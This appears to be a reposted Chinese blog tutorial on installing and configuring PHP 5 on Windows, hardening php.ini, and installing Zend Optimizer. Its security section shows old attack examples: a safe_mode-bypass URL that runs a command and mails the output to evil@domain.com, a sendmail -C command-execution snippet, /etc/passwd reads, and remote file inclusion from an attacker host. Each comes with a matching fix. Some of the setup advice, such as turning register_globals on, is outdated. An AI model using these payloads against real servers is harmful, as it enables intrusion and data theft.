`
aben328
  • 浏览: 1460689 次
  • 性别: Icon_minigender_1
  • 来自: 广东
社区版块
存档分类

Zend Optimizer安装方法

    博客分类:
  • PHP
阅读更多

PHP5安装配置和Zend Optimizer安装教程

2009-08-18 09:08:13  来源:网页教学网 

WebjxCom提示:PHP5安装配置和Zend Optimizer安装教程.

安装

1.首先下载PHP 5.2.5 (http://www.php.net/downloads.php)

本文PHP安装路径取为c:\php

2.下载后得到php-5.1.2-Win32.zip,直接全部接压至c:\php\目录即可得PHP文件存放目录c:\php

3.再将c:\php\下的所有dll文件拷到c:\Windows\system32(win2000系统为 c:/winnt/system32/)下,覆盖已有的dll文件;

4.php.ini-dist用记事本打开,利用记事本的查找功能搜索并修改:

搜索

 

CODE:

register_globals = Off

Off 改成 On ,即得到register_globals = On

注:这个对应PHP的全局变量功能,考虑有很多PHP程序需要全局变量功能故打开,打开后请注意-PHP程序的严谨性,如果不需要推荐不修改保持默认Off状态

再搜索

 

CODE:

extension_dir =

并将其路径指到你的 PHP 目录下的 ext 目录,修改为extension_dir = "c:/php/ext"

c:\php下建立文件夹并命名为tmp

查找

 

CODE:

;upload_tmp_dir =

;upload_tmp_dir该行的注释符,即前面的分号去掉,使该行在php.ini文档中起作用。upload_tmp_dir是用来定义上传文件存放的临时路径,在这里你还可以修改并给其定义一个绝对路径,这里设置的目录必须有读写权限。

这里我设置为upload_tmp_dir = c:/php/tmp (即前面建立的这个文件夹)

搜索找到

 

CODE:

;Windows Extensions

将下面一些常用的项前面的;去掉

CODE:

;extension=php_mbstring.dll

 

CODE:

;extension=php_curl.dll

 

CODE:

;extension=php_dbase.dll

 

CODE:

;extension=php_gd2.dll

这个是用来支持GD库的,一般需要,必选

CODE:

;extension=php_ldap.dll

 

CODE:

extension=php_zip.dll

 

CODE:

;extension=php_mysql.dll

去掉前面的";"

查找

 

CODE:

;session.save_path =

去掉前面;,本文这里将其设置置为

session.save_path = c:/php/tmp

其他的你可以选择需要的去掉前面的;然后将该文件另存为为php.iniC:\Windows ( Windows 2000 下为 C:\WINNT)目录下,注意更改文件后缀名为ini,得到C:\Windows\php.ini ( Windows 2000 下为 C:\WINNT\php.ini)

常用安全设置

一、Web服务器安全

PHP其实不过是Web服务器的一个模块功能,所以首先要保证Web服务器的安全。当然Web服务器要安全又必须是先保证系统安全,这样就扯远了,无穷无尽。PHP可以和各种Web服务器结合,这里也只讨论Apache。非常建议以chroot方式安装启动Apache,这样即使ApachePHP及其脚本出现漏洞,受影响的也只有这个禁锢的系统,不会危害实际系统。但是使用chrootApache后,给应用也会带来一定的麻烦,比如连接mysql时必须用127.0.0.1地址使用tcp连接而不能用localhost实现socket连接,这在效率上会稍微差一点。还有mail函数发送邮件也是个问题

因为php.ini里的:

 

[mail function]

; For Win32 only.

SMTP = localhost

; For Win32 only.

sendmail_from = me@localhost.com

 

都是针对Win32平台,所以需要在chroot环境下调整好sendmail

二、PHP本身问题

1.远程溢出

PHP-4.1.2以下的所有版本都存在文件上传远程缓冲区溢出漏洞,而且攻击程序已经广泛流传,成功率非常高.

2.远程拒绝服务

PHP-4.2.0PHP-4.2.1存在PHP multipart/form-data POST请求处理远程漏洞,虽然不能获得本地用户权限,但是也能造成拒绝服务。

3.safe_mode绕过漏洞

还有PHP-4.2.2以下到PHP-4.0.5版本都存在PHP mail函数绕过safe_mode限制执行命令漏洞,4.0.5版本开始mail函数增加了第五个参数,由于设计者考虑不周可以突破safe_mode的限制执行命令。其中4.0.5版本突破非常简单,只需用分号隔开后面加shell命令就可以了,比如存在PHP脚本evil.php

执行如下的URL

 

http://foo.com/evil.php?bar=;/usr/bin/id mail evil@domain.com

这将id执行的结果发送给evil@domain.com

对于4.0.64.2.2PHP突破safe_mode限制其实是利用了sendmail-C参数,所以系统必须是使用sendmail。如下的代码能够突破safe_mode限制执行命令:

注意,下面这两个必须是不存在的,

或者它们的属主和本脚本的属主是一样

 

$script="/tmp/script123";

$cf="/tmp/cf123";

$fd = fopen($cf, "w");

fwrite($fd, "OQ/tmp

Sparse=0

R$*" . chr(9) . "$#local $@ $1 $: $1

Mlocal, P=/bin/sh, A=sh $script");

fclose($fd);

$fd = fopen($script, "w");

fwrite($fd, "rm -f $script $cf; ");

fwrite($fd, $cmd);

fclose($fd);

mail("nobody", "", "", "", "-C$cf");

?>

还是使用以上有问题版本PHP的用户一定要及时升级到最新版本,这样才能消除基本的安全问题。

三、PHP本身的安全配置

PHP的配置非常灵活,可以通过php.ini, httpd.conf, .htaccess文件(该目录必须设置了AllowOverride AllOptions)进行设置,还可以在脚本程序里使用ini_set()及其他的特定的函数进行设置。通过phpinfo()get_cfg_var()函数可以得到配置选项的各个值。

如果配置选项是唯一PHP_INI_SYSTEM属性的,必须通过php.inihttpd.conf来修改,它们修改的是PHPMaster值,但修改之后必须重启apache才能生效。其中php.ini设置的选项是对Web服务器所有脚本生效,httpd.conf里设置的选项是对该定义的目录下所有脚本生效。

如果还有其他的PHP_INI_USER, PHP_INI_PERDIR, PHP_INI_ALL属性的选项就可以使用.htaccess文件设置,也可以通过在脚本程序自身用ini_set()函数设定,它们修改的是Local值,改了以后马上生效。但是.htaccess只对当前目录的脚本程序生效,ini_set()函数只对该脚本程序设置ini_set()函数以后的代码生效。各个版本的选项属性可能不尽相同,可以用如下命令查找当前源代码的main.c文件得到所有的选项,以及它的属性:

grep PHP_INI_ /PHP_SRC/main/main.c

在讨论PHP安全配置之前,应该好好了解PHPsafe_mode模式。

1.safe_mode

safe_mode是唯一PHP_INI_SYSTEM属性,必须通过php.inihttpd.conf来设置。要启用safe_mode,只需修改

php.ini

safe_mode = On

或者修改httpd.conf,定义目录:

Options FollowSymLinks

php_admin_value safe_mode 1

重启apachesafe_mode就生效了。启动safe_mode,会对许多PHP函数进行限制,特别是和系统相关的文件打开、命令执行等函数。

所有操作文件的函数将只能操作与脚本UID相同的文件,比如test.php脚本的内容为:

几个文件的属性如下:

ls -la

total 13

drwxr-xr-x 2 root root 104 Jul 20 01:25 .

drwxr-xr-x 16 root root 384 Jul 18 12:02 ..

-rw-r--r-- 1 root root 4110 Oct 26 2002 index.html

-rw-r--r-- 1 www-data www-data 41 Jul 19 19:14 test.php

在浏览器请求test.php会提示如下的错误信息:

Warning: SAFE MODE Restriction in effect. The script whose uid/gid is 33/33 is not allowed to

access ./index.html owned by uid/gid 0/0 in /var/www/test.php on line 1

如果被操作文件所在目录的UID和脚本UID一致,那么该文件的UID即使和脚本不同也可以访问的,不知这是否是PHP的一个漏洞还是另有隐情。所以php脚本属主这个用户最好就只作这个用途,绝对禁止使用root做为php脚本的属主,这样就达不到safe_mode的效果了。

如果想将其放宽到GID比较,则打开 safe_mode_gid可以考虑只比较文件的GID,可以设置如下选项:

safe_mode_gid = On

设置了safe_mode以后,所有命令执行的函数将被限制只能执行php.inisafe_mode_exec_dir指定目录里的程序,而且shell_exec`ls -l`这种执行命令的方式会被禁止。如果确实需要调用其它程序,可以在php.ini做如下设置:

safe_mode_exec_dir = /usr/local/php/exec

然后拷贝程序到该目录,那么php脚本就可以用system等函数来执行该程序。而且该目录里的shell脚本还是可以调用其它目录里的系统命令。

safe_mode_include_dir string

当从此目录及其子目录(目录必须在 include_path 中或者用完整路径来包含)包含文件时越过 UID/GID 检查。

PHP 4.2.0 开始,本指令可以接受和 include_path 指令类似的风格用分号隔开的路径,而不只是一个目录。 指定的限制实际上是一个前缀,而非一个目录名。这也就是说“safe_mode_include_dir = /dir/incl”将允许访问“/dir/include”“/dir/incls”,如果它们存在。如果您希望将访问控制在一个指定的目录,那么请在结尾加上一个斜线,

例如:“safe_mode_include_dir = /dir/incl/”

safe_mode_allowed_env_vars string

设置某些环境变量可能是潜在的安全缺口。本指令包含有一个逗号分隔的前缀列表。在安全模式下,用户只能改变那些名字具有在这里提供的前缀的环境变量。默认情况下,用户只能设置以 PHP_ 开头的环境变量(例如 PHP_FOO = BAR)。

: 如果本指令为空,PHP 将使用户可以修改任何环境变量!

safe_mode_protected_env_vars string

本指令包含有一个逗号分隔的环境变量的列表,最终用户不能用 putenv() 来改变这些环境变量。甚至在

safe_mode_allowed_env_vars 中设置了允许修改时也不能改变这些变量。

 

虽然safe_mode不是万能的(低版本的PHP可以绕过),但还是强烈建议打开安全模式,在一定程度上能够避免一些未知的攻击。不过启用safe_mode会有很多限制,可能对应用带来影响,所以还需要调整代码和配置才能和谐。被安全模式限制或屏蔽的函数可以参考PHP手册。

讨论完safe_mode后,下面结合程序代码实际可能出现的问题讨论如何通过对PHP服务器端的配置来避免出现的漏洞。

2、变量滥用

PHP默认register_globals = On,对于GET, POST, Cookie, Environment, Session的变量可以直接注册成全局变量。它们的注册顺序是variables_order = "EGPCS"(可以通过php.ini修改),同名变量variables_order右边的覆盖左边,所以变量的滥用极易造成程序的混乱。而且脚本程序员往往没有对变量初始化的习惯,像如下的程序片断就极易受到攻击:

//test_1.php

if ($pass == "hello")

$auth = 1;

if ($auth == 1)

echo "some important information";

else

echo "nothing";

?>

攻击者只需用如下的请求就能绕过检查:

http://victim/test_1.php?auth=1

这虽然是一个很弱智的错误,但一些著名的程序也有犯过这种错误,比如phpnuke的远程文件拷贝漏洞:http://www.securityfocus.com/bid/3361

PHP-4.1.0发布的时候建议关闭register_globals,并提供了7个特殊的数组变量来使用各种变量。对于从GETPOSTCOOKIE等来的变量并不会直接注册成变量,必需通过数组变量来存取。PHP-4.2.0发布的时候,php.ini默认配置就是register_globals = Off。这使得程序使用PHP自身初始化的默认值,一般为0,避免了攻击者控制判断变量。

解决方法:

配置文件php.ini设置

 

register_globals = Off

 

要求程序员对作为判断的变量在程序最开始初始化一个值。

3、文件打开

极易受攻击的代码片断:

//test_2.php

if (!($str = readfile("$filename"))) {

echo("Could not open file: $filename

\n");

exit;

}

else {

echo $str;

}

?>

由于攻击者可以指定任意的$filename,攻击者用如下的请求就可以看到/etc/passwd

http://victim/test_2.php?filename=/etc/passwd

 

如下请求可以读php文件本身:

http://victim/test_2.php?filename=test_2.php

PHP中文件打开函数还有fopen(), file()等,如果对文件名变量检查不严就会造成服务器重要文件被访问读取。

解决方法:

如非特殊需要,把php的文件操作限制在web目录里面。

以下是修改apache配置文件httpd.conf的一个例子:

 

php_admin_value open_basedir /usr/local/apache/htdocs

重启apache后,/usr/local/apache/htdocs目录下的PHP脚本就只能操作它自己目录下的文件了,否则PHP就会报错:

Warning: open_basedir restriction in effect.

File is in wrong directory in xxx on line xx.

使用safe_mode模式也能避免这种问题,前面已经讨论过了。

4、包含文件

极易受攻击的代码片断:

//test_3.php

if(file_exists($filename))

include("$filename");

?>

这种不负责任的代码会造成相当大的危害,攻击者用如下请求可以得到/etc/passwd文件:

http://victim/test_3.php?filename=/etc/passwd

如果对于Unix版的PHPWin版的PHP不支持远程打开文件)攻击者可以在自己开了httpftp服务的机器上建立一个包含shell命令的文件,如http://attack/attack.txt 的内容是,那么如下的请求就可以在目标主机执行命令ls /etc

http://victim/test_3.php?filename=http://attack/attack.txt

攻击者甚至可以通过包含apache的日志文件access.logerror.log来得到执行命令的代码,不过由于干扰信息太多,有时不易成功。

对于另外一种形式,如下代码片断:

//test_4.php

include("$lib/config.php");

?>

攻击者可以在自己的主机建立一个包含执行命令代码的config.php文件,然后用如下请求也可以在目标主机执行命令:

http://victim/test_4.php?lib=http://attack

PHP的包含函数有include(), include_once(), require(), require_once。如果对包含文件名变量检查不严就会对系统造成严重危险,可以远程执行命令。

解决方法:

要求程序员包含文件里的参数尽量不要使用变量,如果使用变量,就一定要严格检查要包含的文件名,绝对不能由用户任意指定。

如前面文件打开中限制PHP操作路径是一个必要的选项。另外,如非特殊需要,一定要关闭PHP的远程文件打开功能。

 

修改php.ini文件:

allow_url_fopen = Off

重启apache

5、文件上传

php的文件上传机制是把用户上传的文件保存在php.iniupload_tmp_dir定义的临时目录(默认是系统的临时目录,如:/tmp)里的一个类似phpxXuoXG的随机临时文件,程序执行结束,该临时文件也被删除。PHP给上传的文件定义了四个变量:(如form变量名是file,而且register_globals打开)

$file #就是保存到服务器端的临时文件(如/tmp/phpxXuoXG

$file_size #上传文件的大小

$file_name #上传文件的原始名称

$file_type #上传文件的类型

 

推荐使用:

$HTTP_POST_FILES['file']['tmp_name']

$HTTP_POST_FILES['file']['size']

$HTTP_POST_FILES['file']['name']

$HTTP_POST_FILES['file']['type']

 

这是一个最简单的文件上传代码:

//test_5.php

if(isset($upload) && $file != "none") {

copy($file, "/usr/local/apache/htdocs/upload/".$file_name);

echo "文件".$file_name."上传成功!点击继续上传";

exit;

}

?>

content="text/html; charset=gb2312">

这样的上传代码存在读取任意文件和执行命令的重大问题。

 

常用性能设置

一、我们编辑/etc/php5/apache2/php.ini文件,先做一般配置,在改动之前,请先将该配置文件做个备份。以便在出错的时候可以恢复。

 

>memory_limit = 8M    =>修改成你所需的内存大小

>upload_max_filesize = 2M    =>修改文件最大上传尺寸

 

>extension=mysql.so    支持Mysql服务

>extension=gd.so    支持gd函数


其实在Ubuntu下,如果你安装了php5-mysqlphp5-gd之后,会自动修改以上二行的,我们做的只不过是确认一下它们前面的注释符是否去掉。

补充 1.目前大多数phpopen source都是用php4写的,为了兼容以前的php版本,有时需要将register_long_arrays打开,否则$HTTP_GET_VARS$HTTP_POST_VARS等变量将无法使用,会出现一些莫名其妙的问题。

2.另外,在装完php5后最好确认一下/etc/apache2/mods-enabled/下是否有链接: php5.load -> /etc/apache2/mods-available/php5.load


二、加固PHP,以增强安全性。

注意,下面的安全性要因情况而定,所以我已经把它们的功能写清楚了,如果有问题的话,看看是否由于下面哪种限制条件所造成,可相应将其注释掉。

下面我们开始加固php,我们再次编辑/etc/php5/apache2/php.ini文件,之所以没有一次改完,主要是为了给大家一个清晰的思路。

1.打开安全模式,打开他的好处就是PHP文件只能访问所有者和PHP文件所有着一样的文件,即使在chroot环境下也无法访问jail中属主不一样的文件,类似于php shell这样的后门就没用武之地了哦,phpshell是很流行的php后门,他可以执行系统命令,就象他的名字一样,和shell很接近。

safe_mode = On

2.下面的设置就限制了fopen(), file()等函数可以操作的目录范围,避免了入侵者非法读取文件,一定要在/var/www后面加"/",否则/var/wwww下的文件也能被访问 。该选项会禁止任何不在/var/www/目录下的PHP文件运行,包括任何以软链接方式链到/var/www/目录下的程序,如PhpMyAdmin包,就在该选项设定后无法正常运行。

open_basedir = /var/www/

3.禁止使用phpinfoget_cfg_var函数,这样可以避免泄露服务信息,一般在在确认PHP能正常工作之后再使之关闭

disable_functions = phpinfo,get_cfg_var

4.设置php程序错误日志

error_reporting = E_ALL

log_errors = On

error_log = /var/log/php_err.log

5.如果php程序没有指明需要register_globals的话,最好把register_globals设置为Off,这样可以避免很多安全问题的。注意,如果你的程序是需要register_globals的话,可千万别关。Ubuntu默认是关闭的。

register_globals = Off

6.禁止打开远程地址,记得最近出的php include的那个漏洞吗?就是在一个php程序中include了变量,那么入侵者就可以利用这个控制服务器在本地执行远程的一个php程序,例如phpshell,所以我们关闭这个。

allow_url_fopen = Off

安装 Zend Optimizer

下载后得到 ZendOptimizer-3.3.0a-Windows-i386.exe,直接双击安装即可,安装过程要你选择 Web Server 时,选择 Apache 2.x ,然后提示你是否 Restart Web Server,选择是,完成安装之前提示是否备份 php.ini ,点确定后安装完成。我这里安装到c:\php5\Zend,如图4.1所示

4.1 安装路径

4.2 服务器类型

4.3 php.ini所在目录

MsoNormal

分享到:
评论

相关推荐

    windows平台zend optimizer安装配置教程

    Windows 平台 Zend Optimizer 安装配置教程 ...本教程详细介绍了 Windows 平台 Zend Optimizer 的安装配置过程,包括下载和安装 Zend Optimizer、配置信息的设置、验证安装的方法,以及卸载 Zend Optimizer 的方法。

    ZendOptimizer-3.3.3下载

    **安装与使用 ZendOptimizer-3.3.3:** 在Windows环境下,用户通常会找到像 "ZendOptimizer-3.3.3-Windows-i386.exe" 这样的可执行文件来安装。这个文件名表明它是适用于32位(i386)Windows系统的。安装过程通常...

    Zend for linux\ZendOptimizer-3.0.1-

    【描述】提到的"对于linuxr的ZendOptimizer-3.0.1安装文件有需要随你下载"意味着这个压缩包包含了适用于Linux系统(可能是RHEL、CentOS或Debian等)的ZendOptimizer版本3.0.1。"linuxr"可能是“Linux Red”或者...

    zend optimizer插件安装

    zend_extension_ts="C:\path\to\zendoptimizer\php_zendoptimizer.dll" (替换为实际路径) ``` 这里,`zend_extension_ts`指向你刚刚安装的Zend Optimizer的dll文件。 5. **重启Web服务器**: 如果你在本地使用的...

    ZendOptimizer-3.3.9-linux-glibc23-x86_64.tar.gz

    对于"ZendOptimizer-3.3.9-linux-glibc23-x86_64.tar.gz"这样的压缩包,用户首先需要解压,然后按照官方提供的文档指导进行安装。这通常包括设置环境变量、编译安装以及配置PHP环境来启用ZendOptimizer。在配置阶段...

    ZendOptimizer-3.3.0a-Windows-i386

    安装 ZendOptimizer 需要遵循以下步骤: 1. 下载并运行提供的 `ZendOptimizer-3.3.0a-Windows-i386.exe` 安装文件。 2. 按照安装向导的指示,选择合适的安装路径和配置选项。 3. 配置PHP环境,将 Zend Optimizer ...

    ZendOptimizer-3.2.6

    2. **安装过程**:按照提供的说明文档或教程,逐步安装并配置 ZendOptimizer,包括设置环境变量、注册模块等步骤。 3. **兼容性检查**:确保您的PHP应用程序与 ZendOptimizer 兼容,特别是如果使用了加密的代码。 4....

    Zend Optimizer v3.3.3.rar

    Zend Optimizer用优化代码的方法来提高PHP 4.0应用程序的执行速度。实现的原理是对那些在被最终执行之前由运行编译器(Run-Time Compiler)产生的代码进行优化。一般情况下,执行使用Zend Optimizer的PHP程序比不使用...

    Zend_Optimizer安装图解

    《 Zend_Optimizer 安装图解详解》 Zend_Optimizer 是一款针对 PHP 语言的优化工具,它能够提升 PHP 脚本的执行效率,减少内存消耗,尤其对于使用 Zend Framework 开发的应用程序有着显著的性能提升。在本文中,...

    ZendOptimizer-3.0.1

    - 用户需要先下载并安装RAR解压工具,然后解压"ZendOptimizer-3.0.1-Windows-i386.rar" 文件,从中获取可执行文件"ZendOptimizer-3.0.1-Windows-i386.exe"。 - 安装过程中,通常需要配置PHP环境变量,确保Zend ...

    php环境配置 php5 MySQL5 apache2 phpmyadmin ZendOptimizer安装与配置

    1. 下载并安装ZendOptimizer 3.2.6,安装过程中遵循向导提示。 2. 配置PHP以使用ZendOptimizer,将zend_extension_ts指向ZendOptimizer的动态链接库(如php_zendoptimizer.dll)。 完成以上步骤后,你将拥有一个...

    [最新]ZendOptimizer-3.3.3-Windows-i386.zip

    2. ZendOptimizer-3.3.3:这可能是安装程序或软件的主要可执行文件,包含了ZendOptimizer的所有功能和组件,用户需要运行此文件来安装或更新ZendOptimizer。 **详细知识点**: - **ZendOptimizer**:由Zend ...

    Windows XP + Apache 2.2.4 + PHP 5.2.0 + MySQL 5.0.27 + Zend Optimizer 3.2.0环境配置方法

    ### Windows XP + Apache 2.2.4 + PHP 5.2.0 + MySQL 5.0.27 + Zend Optimizer 3.2.0环境配置方法 #### Apache 2.2.4 的安装与配置 Apache 作为一款开源且功能强大的Web服务器软件,在Windows XP上安装和配置相对...

    ZendOptimizer-3.2.8-Windows-i386

    【压缩包子文件的文件名称列表】: ZendOptimizer-3.2.8-Windows-i386.exe 是这个压缩包中的唯一文件,表明这是一个可执行文件(.exe),用户只需下载并运行此文件,即可在32位Windows系统上安装Zend Optimizer。...

    自动为IIS安装好PHP 5.2.10.10和ZendOptimizer 3.3.3

    5. 同样,验证ZendOptimizer安装成功,可以通过检查PHP配置文件(php.ini)中是否包含了相关的设置,并且能够正常解析加密的PHP代码。 另外,"说明.html"文件很可能包含有关如何使用PHPOpt4IIS.exe工具的详细步骤和...

    php环境配置之ZendOptimizer3.2.6

    此外,如果你的代码是商业机密,你可以使用ZendGuard编码,这样只有在安装了正确版本的ZendOptimizer的服务器上才能运行。 以上就是配置PHP环境和安装ZendOptimizer 3.2.6的详细步骤。对于初学者来说,理解这些配置...

    ZendOptimizer-3.2.2-Windows-i386

    列表中唯一列出的文件是"ZendOptimizer-3.2.2-Windows-i386.exe",这是一个可执行文件,通常用于在Windows环境下安装Zend Optimizer。用户只需运行此文件,按照安装向导的提示,即可完成软件的安装过程。 **使用和...

    ZendOptimizer-3.2.2-Windows-i386.exe

    1. **下载与安装**:下载ZendOptimizer-3.2.2-Windows-i386.exe文件,这是一款适用于Windows 32位系统的安装程序。双击执行文件,按照向导指引完成安装。 2. **配置PHP**:安装完成后,需要在PHP的配置文件...

    ZendOptimizer-3.0.0-linux-glibc21-i386.tar.gz

    【描述】中的"endOptimizer-3.0.0-linux-glibc21-i386"可能是输入错误,正确的应该是"ZendOptimizer"。该版本号3.0.0表示这是该软件的一个特定版本,发布于某个时间点,提供了对Linux系统glibc21库的支持,并且是为...

    php环境配置php5+MySQL5+apache2+phpmyadmin+ZendOptimizer安装与配置

    1. ZendOptimizer 安装:下载 ZendOptimizer 安装包,双击安装,选择安装路径,选择 typical 安装模式,点击 Next,安装完成后,在 PHP 代码中可以使用 ZendOptimizer 优化 PHP 代码。 六、PHP 环境配置总结 1. ...

Global site tag (gtag.js) - Google Analytics